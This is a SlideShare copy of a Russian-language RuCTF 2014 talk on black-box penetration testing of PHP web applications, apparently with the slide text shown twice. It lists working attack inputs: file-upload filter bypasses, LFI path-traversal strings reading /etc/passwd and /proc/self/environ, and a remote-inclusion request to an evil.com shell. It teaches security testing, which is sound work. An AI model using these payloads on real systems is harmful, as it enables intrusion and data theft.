Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Секреты чёрного ящика
Омар Ганиев
RuCTF 2014
Екатеринбург
Кто я?
• Beched (ahack.ru, @ahack_ru)
• Выпускник и студент-магистрант факультета
математики НИУ-ВШЭ
• Участник независимого сообщества и CTF-
команды RDot.Org
• Эксперт в IncSecurity (анализ
защищённости)
Чёрный ящик?
Black box!
Чёрный ящик = Black box
Анализ защищённости
• Белым ящиком
– Об объекта анализа известно всё
– Есть исходные тексты, карты сети, и т. д.
• Чёрным ящиком
– Известны только точки входа (или даже их нет)
– Заказчик не выдаёт информацию
• Серый ящик
– На практике всегда что-то среднее
– Например, есть учётные записи, но нет
исходных текстов
Почему black box?
• Модель атаки, близкая к чёрному ящику
наиболее точно воспроизводит действия
большинства злоумышленников
• Если что-то удалось взломать чёрным
ящиком, то белым ящиком это будет ещё
проще
• Заказчики часто просто не хотят доверять
доступ к исходникам своих продуктов или к
серверам с конфиденциальной
информацией
План
• Первая часть:
– Приёмы разведки (reconnaissance)
– Определение используемых технологий
– (Тихий) сбор информации
– Быстрый поверхностный анализ (fuzzing)
• Вторая часть:
– Некоторые уязвимости PHP
– Тестирование интерфейсов загрузки файлов
– Уязвимости типа file inclusion
– Уязвимости механизмов десериализации
Первые шаги
• Перед Вами веб-приложение. Что делать?
Первые шаги
Первые шаги
• Включаем локальный прокси-сервер (Burp
Suite, OWASP ZAP, …)
• Гуляем по сайту
• Смотрим на запросы в логах прокси-
сервера
• Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
• Полезно прикинуть, учитывая полученные
данные, как бы Вы реализовали
имеющийся функционал, если бы были
разработчиком (взгляд изнутри ящика)
• А затем подумать, какие ошибки Вы могли
бы допустить, и как их можно
проэксплуатировать (взгляд извне ящика)
Распознавание платформ
• Веб-серверы часто оставляют подпись в
HTTP-заголовке Server
• Также есть специфичные запросы,
например, ‘?a=a&a[]=a’, который вызывает
ошибку 500 в Rack Server
• Языки программирования могут быть
определены по заголовку X-Powered-by или
просто по расширениям файлов (.php, .aspx
и т. д.)
Распознавание платформ
• Если определить конкретный используемый
движок, то с языком опять-таки всё будет
ясно
• Кроме того, различным языкам свойственны
различные способы приведения типов,
нормализации и кодирования данных
• Например, если PHP получит массив вместо
строки и попытается его вывести через echo,
массив будет приведён к строке ‘Array’
Распознавание платформ
• Веб-фреймворки могут быть узнаны по
ключевым словам в HTTP-заголовках и в HTML-
содержимом
• Атрибут csrfmiddlewaretoken в формах –
признак Django framework
• Cookie-идентификатор _someprojectname_sess
– признак Ruby on Rails framework
• Cookie-идентификатор mojolicious – признак
Perl-фреймворка Mojolicious
Распознавание платформ
• Также взгляните на CSS и JS файлы, robots.txt,
CHANGELOG, и т. д.
• Эти файлы часто содержат подпись и текущую
версию установленной CMS
• Ещё иногда бывает HTTP-заголовок X-Powered-
CMS (например, у Bitrix)
• Часто название CMS написано в атрибуте
generator HTML-тега meta
• Ещё ключевые слова: com_smth (com_content)
=> Joomla, dle_root => DataLife Engine, /wp-
content/ => WordPress, и т. д.
Сбор информации
• Проверьте наличие специальных файлов и
директорий: sitemap.xml, crossdomain.xml,
robots.txt, CHANGELOG, .svn, .ssh, .git, CVS,
.DS_Store, Thumbs.db, test.php, info.php,
phpinfo.php, php.php, etc…
• Поищите бекапы исходных текстов: file.ext~,
file.ext.swp, file.ext.save, file.ext.part, #file.ext#,
.#file.ext, file.ext.bak, file.ext.old, file.ext.un~,
file.phps, file.txt, etc…
• Перебор файлов и директорий по словарю
Сбор информации
• Также можно обнаружить бекапы баз в
директориях типа backups или dumps. При
этом можно даже угадать формат имени
файла, например, dd-mm-yyyy.sql
• Всё это даёт большой объём информации,
значительно «обеляя» чёрный ящик. Доступ
к репозиториям с исходными текстами и
вовсе делает его белым.
Сбор информации
• Анализ веб-приложения часто осложняется
использованием технологий web 2.0
• URL в стиле REST или MVC скрывают начинку и
ограничивают формат передаваемых данных
• Типичный и удобный для взлома пример –
Apache с mod_rewrite (и PHP)
• В .htaccess указываются регулярные
выражения, задающие отображение из ЧПУ в
настоящие URL
Сбор информации
• Часто прямой доступ к сценариям не
запрещён, что позволяет найти их
перебором или угадыванием
• Также можно применить особенность
многих версий Apache – раскрытие имени
сценария в странице HTTP-ошибки 413
• POST-запрос с некорректным заголовком
Content-Length позволяет получить имя
сценария
Сбор информации
• Следующим шагом является получение списка
параметров веб-приложения (POST, GET,
Cookie, а также заголовки)
• Их можно угадать, исходя из структуры
используемых на сайте ссылок
• Также можно перебрать по словарю, причём
используя не линейный, а логарифмический
поиск
• par1=1&par2=1&par3=1&…&par_i=1&…
• Дихотомия по множеству параметров и
размеру/содержимому HTTP-ответа
Быстрый fuzzing
• По-хорошему надо фаззить каждый параметр
каждого сценария, но это довольно долго и
опасно (можно что-нибудь уронить)
• Поэтому полезно выделить основные точки
входа в веб-приложение, выделить запросы,
которые не изменяют состояния приложения
или изменяют состояние лишь для
конкретного пользователя
• Наиболее вероятные точки проникновения
выделить исходя из интуиции и опыта
Быстрый fuzzing
• Сорить в логах – нехорошо (и вовсе не только
для black-hat’ов)
• Поэтому надо пытаться максимизировать
количество получаемой информации в
результате одного запроса
• Это ещё и увлекательная задача на
составление универсальных векторов
• Пример: param=a%0atest:tset;<hok>%26'"koh
• Проверяем XSS, HTTP response splitting, HPP,
SQL-инъекции, а также различные виды иных
инъекций кода
Быстрый fuzzing
• Помимо прочего, полезно проверить
некоторые массовые уязвимости: CVE-2012-
1823, CVE-2013-0156, CVE-2014-0160 и т. д.
• Какой инструментарий? Многое из
рассказанного реализовано во фреймворке
LibPyWebHack:
https://github.com/beched/libpywebhack
• В локальной версии у меня реализовано
больше, когда-нибудь допилю и выложу =)
Уязвимости PHP
• Почему PHP?
Почему ломаем PHP?
• Низкий порог вхождения, много глупых
кодеров с низкопробным кодом
• Запутанный язык с месивом различным
парадигм
• Годы небезопасной разработки и тучи
учебников и статей с уязвимыми
примерами
• ???
• PROFIT!
<?=$question[0];
• Где уязвимость?
<?
session_start();
if(!isset($_SESSION['is_admin'])) {
header('Location: login.php');
}
require_once './includes/admin.php';
//…
<?=$answer[0];
• Что делает header()?
• Отсылает браузеру HTTP заголовки
• Это прекращает выполнение сценария? НЕТ
• Получается, мы можем получить доступ к
административному интерфейсу
• Для этого удобно задать в Burp Suite
правило, заменяющее в заголовке ответа
‘302 Found’ на ‘200 OK’
<?=$question[1];
• Где уязвимость?
<?
$salt = 'somesecret';
$time = microtime();
$file = $_GET['file'];
$sign = substr(md5("$salt$file$time"), 0, 10);
if($sign == $_GET['sign']) {
readfile($file);
}
<?=$answer[1];
• Небезопасное сравнение! Оператор проверки
эквивалентности в PHP – это '==', а
тождественности – '==='.
• Это означает, что '==' влечёт приведение
типов, что приводит к неожиданностям
php > var_dump('00e123123123'=='0');
bool(true)
• Как воспользоваться уязвимостью? Достаточно
слать запросы с подписью '0' и ждать, пока
усечённое значение хеша будет
соответствовать '0+ed+'
<?=$question[2];
• Где уязвимость?
<?
$name = basename($_GET['name']);
$data = $_GET['data'];
file_put_contents("./htmls/$name", $data);
readfile("./htmls/$name");
unlink("./htmls/$name");
<?=$answer[2];
• Combo-break! Очевидное состояние гонки и
менее очевидная уязвимость PHP. Атомарными
на верхнем уровне можно считать операции
записи, чтения и удаления файла
• Сценарий не блокирует доступ к файлу для
других потоков, поэтому можно обратиться к
нему параллельно и выполнить произвольный
код (в .php-файле)
• Кроме того, можно остановить сценарий в
момент вывода данных в браузер, если
заменить метод GET на метод HEAD. См.
https://students.mimuw.edu.pl/~ai292615/php_he
ad_trick.pdf
Загрузка файлов
• Интерфейс загрузки файлов достаточно
легко реализовать безопасно, однако,
очень часто разработчики либо совсем
забывают про этот аспект, либо делают
ненужные костыли
• По сути проверка корректности имени
файла превращается в WAF с
сопутствующими типичными ошибками
Загрузка файлов
• Регистрозависимость: shell.PhP не
соответствует запрещающему регулярному
выражению '/.php$/'
• Отсутствие терминирующего символа:
shell.jpg.php соответствует '/^[w]+.jpg/is'
• Black-listing расширений: .htaccess, test.php3 не
соответствуют '/.php$/i'
• Black-listing и MIME-типы в Apache:
shell.php.asd не соответствует
'/.(htaccess|php3?)$/is' (расширение .asd будет
отброшено веб-сервером)
Загрузка файлов
• Управляющие символы в выражении:
shell.php.XXjpg соответствует '/[w]+.jpg$/is'
• Терминирующий символ в группе: shell.bmp.php
соответствует '/^[w]+.(bmp|gif|jpg$)/is'
• URL-декодирование имени файла:
shell.php%00.jpg проходит разумные проверки,
но после декодирования будет создан файл
shell.php
• Проверка содержимого: getimagesize()
обходится очень легко (заголовок "GIF11anaa",
например). Обход сжатия:
https://rdot.org/forum/showthread.php?t=2780
Загрузка файлов
• Проверка MIME-типа вместо расширения или
содержимого: любой файл можно загрузить с
Content-Type: image/gif
• Множественная загрузка: в интерпретаторе
PHP имелась уязвимость (исправлена
примерно в 5.4 версии), позволяющая читать
и загружать произвольные файлы путём
разрушения структуры массива $_FILES. См.
http://students.mimuw.edu.pl/~ai292615/php_
multipleupload_overwrite.pdf и
https://rdot.org/forum/showthread.php?t=1329
File inclusion
• В PHP-приложениях достаточно
распространены уязвимости, связанные с
чтением или исполнением произвольных
файлов
• Рассмотрим подробнее второй тип –
подключение исполняемого PHP-кода
• При этом путь с точки зрения PHP – это не
просто локальный путь в файловой системе, а
URL
• Поэтому разделяют Local File Inclusion и
Remote File Inclusion
File inclusion
• Чтение: file_get_contents, readfile,
highlight_file, fopen и т. д.
• Подключение: include(_once),
require(_once) и т. д.
• Зависимости для эксплуатации RFI в php.ini:
allow_url_fopen = On, allow_url_include = On
• URL-обёртки, поддерживаемые PHP:
http://php.net/manual/en/wrappers.php
RFI
• Суффикс неважен, поскольку имена файлов на
своём сервере атакующий контролирует. Но
можно его отбросить при помощи символов #,
x00, обёртки data
• Варианты запроса: http://evil.com/shell.txt#;
data:,<?phpinfo();?>
• SSRF: можно сканировать и просматривать
внутреннюю сеть: http://10.10.1.xx:port/
• Потенциально возможно исполнение
произвольного кода, например, через обёртку
expect
LFI
• Без префикса: /path/file,
zip:///path/to/zip/#file,
php://filter/read=base64.encode/resource=/p
ath/script.php
• С префиксом: /../../../path/file
• С постфиксом: /path/file%00,
/path/file////[x~4096]///// (до версии 5.3.4),
а также загрузка файла с нужным
расширением в доступную директорию
LFI
• Что подключать? Ищем загрузку
документов, аватаров, и т. д.
• /var/log/access.log, /proc/self/environ,
/var/mail, /tmp/sess_$PHPSESSID, любые
другие логи, доступные на запись
• Что если include './includes/' .
str_replace('../', '', $_GET['page']);? Это тупой
нерекурсивный WAF, вот обход:
?page=/….//….//….//….//etc/passwd
Трюки
• Such race condition
• Many shells
• Very LFI via PHPInfo. Wow!
• Что если не доступны ни логи, ни загрузки?
Есть phpinfo()? (см. слайд №14)
• Утечка имени временного файла через
phpinfo(), состояние гонки при замедлении
исполнения сценария (до 30 с.), в результате
имеем подключение файла с произвольным
содержимым
• См.
https://rdot.org/forum/showthread.php?t=1134
Трюки
• PHP – это весело. Windows – это весело.
Смешать, но не взбалтывать
• Windows: .C:somedir....D:otherdirfile
• WinAPI – это клёво, и WinAPI в PHP – ещё клёвее
HANDLE WINAPI FindFirstFile( _In_ LPCTSTR
lpFileName, _Out_ LPWIN32_FIND_DATA
lpFindFileData );
• FindFirstFile() используется многими
конструкциями PHP, в т. ч. include
• Угадайте, что будет подключено?
include 'C:<oot"<<';
Трюки
• Таким образом, в Windows + PHP даже не
нужен phpinfo-сценарий для эксплуатации LFI
через временный файл
• Достаточно отправить файл с шеллкодом и
одновременно подключить имя
/../../../../../../Windows/Temp/php<<.tmp
• API-вызов FindFirstFile самостоятельно отыщет
временный файл с шеллкодом
• См.
https://rdot.org/forum/showthread.php?t=926
Трюки
• Заметим, что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссера
• Исполнить загруженный в текущем потоке
файл не удастся, поэтому всё равно нужна
гонка
• Ещё из магии Windows+PHP – угадайте, что
будет подключено:
include '//beched/Desktop/test.txt';
• Это обход ограничение allow_url_include и
allow_url_fopen. См.
https://rdot.org/forum/showpost.php?p=26499&
postcount=58
Десериализация вкратце
• Уязвимости механизмов сериализации данных
– не редкость. Нашумевшие уязвимости с
unserialize() в PHP-движках и с YAML в Ruby on
Rails, Pickle-сериализация в Python
• (De)serialization: {Objects} () {Strings}
• Уязвимости основаны на том, что при
десериализации произвольных данных
возможно создание объектов произвольных
классов, а также вызов определённых
«магических» методов (см.
http://www.php.net/manual/ru/language.oop5.
magic.php)
Десериализация вкратце
• Задача – найти доступные классы с
магическими методами, которые будут
вызваны и могут использованы для
несанкционированного доступа
• Часто для этого используется __destruct()
• См.
https://rdot.org/forum/showthread.php?t=95
0
Трюки
• Можно выделить некоторые трюки. Ошибки в
обработке строк сериализации:
https://rdot.org/forum/showthread.php?t=1742
• Проведение атаки XXE OOB в отсутствие
частных классов с магическими методами
путём вызова метода __call класса-
обработчика SOAP-объектов:
http://raz0r.name/talks/confidence-2013-php-
object-injection-revisited/
Заключение
• В заключение ничего нового не скажешь
• TRAIN HARD
• Google, Twitter, blogs, RDot, CTF, write-ups,
documentation, coding, testing, research
• Надеюсь, узнали и запомнили что-то
полезное
Спасибо за внимание!
admin@ahack.ru
beched@incsecurity.ru

More Related Content

Blackbox-тестирование веб-приложений

  • 1. Секреты чёрного ящика Омар Ганиев RuCTF 2014 Екатеринбург
  • 2. Кто я? • Beched (ahack.ru, @ahack_ru) • Выпускник и студент-магистрант факультета математики НИУ-ВШЭ • Участник независимого сообщества и CTF- команды RDot.Org • Эксперт в IncSecurity (анализ защищённости)
  • 6. Анализ защищённости • Белым ящиком – Об объекта анализа известно всё – Есть исходные тексты, карты сети, и т. д. • Чёрным ящиком – Известны только точки входа (или даже их нет) – Заказчик не выдаёт информацию • Серый ящик – На практике всегда что-то среднее – Например, есть учётные записи, но нет исходных текстов
  • 7. Почему black box? • Модель атаки, близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников • Если что-то удалось взломать чёрным ящиком, то белым ящиком это будет ещё проще • Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
  • 8. План • Первая часть: – Приёмы разведки (reconnaissance) – Определение используемых технологий – (Тихий) сбор информации – Быстрый поверхностный анализ (fuzzing) • Вторая часть: – Некоторые уязвимости PHP – Тестирование интерфейсов загрузки файлов – Уязвимости типа file inclusion – Уязвимости механизмов десериализации
  • 9. Первые шаги • Перед Вами веб-приложение. Что делать?
  • 11. Первые шаги • Включаем локальный прокси-сервер (Burp Suite, OWASP ZAP, …) • Гуляем по сайту • Смотрим на запросы в логах прокси- сервера • Смотрим на HTTP-заголовки и содержимое ответов
  • 12. Главные идеи • Полезно прикинуть, учитывая полученные данные, как бы Вы реализовали имеющийся функционал, если бы были разработчиком (взгляд изнутри ящика) • А затем подумать, какие ошибки Вы могли бы допустить, и как их можно проэксплуатировать (взгляд извне ящика)
  • 13. Распознавание платформ • Веб-серверы часто оставляют подпись в HTTP-заголовке Server • Также есть специфичные запросы, например, ‘?a=a&a[]=a’, который вызывает ошибку 500 в Rack Server • Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (.php, .aspx и т. д.)
  • 14. Распознавание платформ • Если определить конкретный используемый движок, то с языком опять-таки всё будет ясно • Кроме того, различным языкам свойственны различные способы приведения типов, нормализации и кодирования данных • Например, если PHP получит массив вместо строки и попытается его вывести через echo, массив будет приведён к строке ‘Array’
  • 15. Распознавание платформ • Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML- содержимом • Атрибут csrfmiddlewaretoken в формах – признак Django framework • Cookie-идентификатор _someprojectname_sess – признак Ruby on Rails framework • Cookie-идентификатор mojolicious – признак Perl-фреймворка Mojolicious
  • 16. Распознавание платформ • Также взгляните на CSS и JS файлы, robots.txt, CHANGELOG, и т. д. • Эти файлы часто содержат подпись и текущую версию установленной CMS • Ещё иногда бывает HTTP-заголовок X-Powered- CMS (например, у Bitrix) • Часто название CMS написано в атрибуте generator HTML-тега meta • Ещё ключевые слова: com_smth (com_content) => Joomla, dle_root => DataLife Engine, /wp- content/ => WordPress, и т. д.
  • 17. Сбор информации • Проверьте наличие специальных файлов и директорий: sitemap.xml, crossdomain.xml, robots.txt, CHANGELOG, .svn, .ssh, .git, CVS, .DS_Store, Thumbs.db, test.php, info.php, phpinfo.php, php.php, etc… • Поищите бекапы исходных текстов: file.ext~, file.ext.swp, file.ext.save, file.ext.part, #file.ext#, .#file.ext, file.ext.bak, file.ext.old, file.ext.un~, file.phps, file.txt, etc… • Перебор файлов и директорий по словарю
  • 18. Сбор информации • Также можно обнаружить бекапы баз в директориях типа backups или dumps. При этом можно даже угадать формат имени файла, например, dd-mm-yyyy.sql • Всё это даёт большой объём информации, значительно «обеляя» чёрный ящик. Доступ к репозиториям с исходными текстами и вовсе делает его белым.
  • 19. Сбор информации • Анализ веб-приложения часто осложняется использованием технологий web 2.0 • URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных • Типичный и удобный для взлома пример – Apache с mod_rewrite (и PHP) • В .htaccess указываются регулярные выражения, задающие отображение из ЧПУ в настоящие URL
  • 20. Сбор информации • Часто прямой доступ к сценариям не запрещён, что позволяет найти их перебором или угадыванием • Также можно применить особенность многих версий Apache – раскрытие имени сценария в странице HTTP-ошибки 413 • POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
  • 21. Сбор информации • Следующим шагом является получение списка параметров веб-приложения (POST, GET, Cookie, а также заголовки) • Их можно угадать, исходя из структуры используемых на сайте ссылок • Также можно перебрать по словарю, причём используя не линейный, а логарифмический поиск • par1=1&par2=1&par3=1&…&par_i=1&… • Дихотомия по множеству параметров и размеру/содержимому HTTP-ответа
  • 22. Быстрый fuzzing • По-хорошему надо фаззить каждый параметр каждого сценария, но это довольно долго и опасно (можно что-нибудь уронить) • Поэтому полезно выделить основные точки входа в веб-приложение, выделить запросы, которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя • Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
  • 23. Быстрый fuzzing • Сорить в логах – нехорошо (и вовсе не только для black-hat’ов) • Поэтому надо пытаться максимизировать количество получаемой информации в результате одного запроса • Это ещё и увлекательная задача на составление универсальных векторов • Пример: param=a%0atest:tset;<hok>%26'"koh • Проверяем XSS, HTTP response splitting, HPP, SQL-инъекции, а также различные виды иных инъекций кода
  • 24. Быстрый fuzzing • Помимо прочего, полезно проверить некоторые массовые уязвимости: CVE-2012- 1823, CVE-2013-0156, CVE-2014-0160 и т. д. • Какой инструментарий? Многое из рассказанного реализовано во фреймворке LibPyWebHack: https://github.com/beched/libpywebhack • В локальной версии у меня реализовано больше, когда-нибудь допилю и выложу =)
  • 26. Почему ломаем PHP? • Низкий порог вхождения, много глупых кодеров с низкопробным кодом • Запутанный язык с месивом различным парадигм • Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами • ??? • PROFIT!
  • 27. <?=$question[0]; • Где уязвимость? <? session_start(); if(!isset($_SESSION['is_admin'])) { header('Location: login.php'); } require_once './includes/admin.php'; //…
  • 28. <?=$answer[0]; • Что делает header()? • Отсылает браузеру HTTP заголовки • Это прекращает выполнение сценария? НЕТ • Получается, мы можем получить доступ к административному интерфейсу • Для этого удобно задать в Burp Suite правило, заменяющее в заголовке ответа ‘302 Found’ на ‘200 OK’
  • 29. <?=$question[1]; • Где уязвимость? <? $salt = 'somesecret'; $time = microtime(); $file = $_GET['file']; $sign = substr(md5("$salt$file$time"), 0, 10); if($sign == $_GET['sign']) { readfile($file); }
  • 30. <?=$answer[1]; • Небезопасное сравнение! Оператор проверки эквивалентности в PHP – это '==', а тождественности – '==='. • Это означает, что '==' влечёт приведение типов, что приводит к неожиданностям php > var_dump('00e123123123'=='0'); bool(true) • Как воспользоваться уязвимостью? Достаточно слать запросы с подписью '0' и ждать, пока усечённое значение хеша будет соответствовать '0+ed+'
  • 31. <?=$question[2]; • Где уязвимость? <? $name = basename($_GET['name']); $data = $_GET['data']; file_put_contents("./htmls/$name", $data); readfile("./htmls/$name"); unlink("./htmls/$name");
  • 32. <?=$answer[2]; • Combo-break! Очевидное состояние гонки и менее очевидная уязвимость PHP. Атомарными на верхнем уровне можно считать операции записи, чтения и удаления файла • Сценарий не блокирует доступ к файлу для других потоков, поэтому можно обратиться к нему параллельно и выполнить произвольный код (в .php-файле) • Кроме того, можно остановить сценарий в момент вывода данных в браузер, если заменить метод GET на метод HEAD. См. https://students.mimuw.edu.pl/~ai292615/php_he ad_trick.pdf
  • 33. Загрузка файлов • Интерфейс загрузки файлов достаточно легко реализовать безопасно, однако, очень часто разработчики либо совсем забывают про этот аспект, либо делают ненужные костыли • По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
  • 34. Загрузка файлов • Регистрозависимость: shell.PhP не соответствует запрещающему регулярному выражению '/.php$/' • Отсутствие терминирующего символа: shell.jpg.php соответствует '/^[w]+.jpg/is' • Black-listing расширений: .htaccess, test.php3 не соответствуют '/.php$/i' • Black-listing и MIME-типы в Apache: shell.php.asd не соответствует '/.(htaccess|php3?)$/is' (расширение .asd будет отброшено веб-сервером)
  • 35. Загрузка файлов • Управляющие символы в выражении: shell.php.XXjpg соответствует '/[w]+.jpg$/is' • Терминирующий символ в группе: shell.bmp.php соответствует '/^[w]+.(bmp|gif|jpg$)/is' • URL-декодирование имени файла: shell.php%00.jpg проходит разумные проверки, но после декодирования будет создан файл shell.php • Проверка содержимого: getimagesize() обходится очень легко (заголовок "GIF11anaa", например). Обход сжатия: https://rdot.org/forum/showthread.php?t=2780
  • 36. Загрузка файлов • Проверка MIME-типа вместо расширения или содержимого: любой файл можно загрузить с Content-Type: image/gif • Множественная загрузка: в интерпретаторе PHP имелась уязвимость (исправлена примерно в 5.4 версии), позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES. См. http://students.mimuw.edu.pl/~ai292615/php_ multipleupload_overwrite.pdf и https://rdot.org/forum/showthread.php?t=1329
  • 37. File inclusion • В PHP-приложениях достаточно распространены уязвимости, связанные с чтением или исполнением произвольных файлов • Рассмотрим подробнее второй тип – подключение исполняемого PHP-кода • При этом путь с точки зрения PHP – это не просто локальный путь в файловой системе, а URL • Поэтому разделяют Local File Inclusion и Remote File Inclusion
  • 38. File inclusion • Чтение: file_get_contents, readfile, highlight_file, fopen и т. д. • Подключение: include(_once), require(_once) и т. д. • Зависимости для эксплуатации RFI в php.ini: allow_url_fopen = On, allow_url_include = On • URL-обёртки, поддерживаемые PHP: http://php.net/manual/en/wrappers.php
  • 39. RFI • Суффикс неважен, поскольку имена файлов на своём сервере атакующий контролирует. Но можно его отбросить при помощи символов #, x00, обёртки data • Варианты запроса: http://evil.com/shell.txt#; data:,<?phpinfo();?> • SSRF: можно сканировать и просматривать внутреннюю сеть: http://10.10.1.xx:port/ • Потенциально возможно исполнение произвольного кода, например, через обёртку expect
  • 40. LFI • Без префикса: /path/file, zip:///path/to/zip/#file, php://filter/read=base64.encode/resource=/p ath/script.php • С префиксом: /../../../path/file • С постфиксом: /path/file%00, /path/file////[x~4096]///// (до версии 5.3.4), а также загрузка файла с нужным расширением в доступную директорию
  • 41. LFI • Что подключать? Ищем загрузку документов, аватаров, и т. д. • /var/log/access.log, /proc/self/environ, /var/mail, /tmp/sess_$PHPSESSID, любые другие логи, доступные на запись • Что если include './includes/' . str_replace('../', '', $_GET['page']);? Это тупой нерекурсивный WAF, вот обход: ?page=/….//….//….//….//etc/passwd
  • 42. Трюки • Such race condition • Many shells • Very LFI via PHPInfo. Wow! • Что если не доступны ни логи, ни загрузки? Есть phpinfo()? (см. слайд №14) • Утечка имени временного файла через phpinfo(), состояние гонки при замедлении исполнения сценария (до 30 с.), в результате имеем подключение файла с произвольным содержимым • См. https://rdot.org/forum/showthread.php?t=1134
  • 43. Трюки • PHP – это весело. Windows – это весело. Смешать, но не взбалтывать • Windows: .C:somedir....D:otherdirfile • WinAPI – это клёво, и WinAPI в PHP – ещё клёвее HANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName, _Out_ LPWIN32_FIND_DATA lpFindFileData ); • FindFirstFile() используется многими конструкциями PHP, в т. ч. include • Угадайте, что будет подключено? include 'C:<oot"<<';
  • 44. Трюки • Таким образом, в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл • Достаточно отправить файл с шеллкодом и одновременно подключить имя /../../../../../../Windows/Temp/php<<.tmp • API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом • См. https://rdot.org/forum/showthread.php?t=926
  • 45. Трюки • Заметим, что трудности могут возникнуть при включённом Suhosin Patch от Стефана Эссера • Исполнить загруженный в текущем потоке файл не удастся, поэтому всё равно нужна гонка • Ещё из магии Windows+PHP – угадайте, что будет подключено: include '//beched/Desktop/test.txt'; • Это обход ограничение allow_url_include и allow_url_fopen. См. https://rdot.org/forum/showpost.php?p=26499& postcount=58
  • 46. Десериализация вкратце • Уязвимости механизмов сериализации данных – не редкость. Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails, Pickle-сериализация в Python • (De)serialization: {Objects} () {Strings} • Уязвимости основаны на том, что при десериализации произвольных данных возможно создание объектов произвольных классов, а также вызов определённых «магических» методов (см. http://www.php.net/manual/ru/language.oop5. magic.php)
  • 47. Десериализация вкратце • Задача – найти доступные классы с магическими методами, которые будут вызваны и могут использованы для несанкционированного доступа • Часто для этого используется __destruct() • См. https://rdot.org/forum/showthread.php?t=95 0
  • 48. Трюки • Можно выделить некоторые трюки. Ошибки в обработке строк сериализации: https://rdot.org/forum/showthread.php?t=1742 • Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса- обработчика SOAP-объектов: http://raz0r.name/talks/confidence-2013-php- object-injection-revisited/
  • 49. Заключение • В заключение ничего нового не скажешь • TRAIN HARD • Google, Twitter, blogs, RDot, CTF, write-ups, documentation, coding, testing, research • Надеюсь, узнали и запомнили что-то полезное